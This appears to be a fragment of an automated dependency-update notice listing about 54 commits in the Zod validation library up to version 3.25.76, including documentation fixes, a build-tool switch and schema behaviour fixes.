- bb42be4 Update treeshake target
- 0a49fa3 Improve mini docs
- 1b0a5e5 Add dep
- 90fa0cd Switch to
zshy(#4777)- af3841b Rename play.ts
- cf12ccf 3.25.68
- 34ae421 Update snapshot
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 54 commits:
Update index.mdx (#4831)Release 3.25.76v3.25.76 (#4838)docs: fix typo in flattenError example on error-formatting page (#4819) (#4833)fix: cleanup _idmap of $ZodRegistry (#4837)Fix testsFix z.undefined() behavior in toJSONSchemaImprove recursive types3.25.75Revert undefined json schema changes3.25.74Partial recordv3.25.73 (#4822)3.25.72Fix re-export bugFix optionality of schemas (#4769)feat(locale): Add Esperanto (eo) locale (#4743)Warn about id uniqueness check on Metadata page (#4782)3.25.71Move source to `/src` (#4808)v3.25.70 (#4807)Revert "Add back src (#4806)"Add back src (#4806)docs: fix Lambda spelling (#4804)Add `svelte-jsonschema-form` to form integrations (#4784)Clean up ecosystem.mdxAdd Mobb to sponsorsAdd ecosystem listing to homepage3.25.69Add `exact` to `too_big`/`too_small` issue formats (#4802)Skip attw test if Zod isn't builtDo not clobber defaults inImprove release workflowUpdate snapshot3.25.68Rename play.tsSwitch to `zshy` (#4777)Add depImprove mini docsUpdate treeshake targetWIPUse import star everywhereDocsAdd treeshaking discussion to docsDrop example and examples entirelyAdd `z.stringFormat()` (#4737)Simplify basics, document reportInputFix buildFix fmtClose #4035fix(v4): add exact to length check issue (#4617)chore: remove unused octokit (#4708)chore: update lint-staged from v12 to v16 (#4703)feat: add zod-xlsx back to the ecosystem.tsx (#4718)










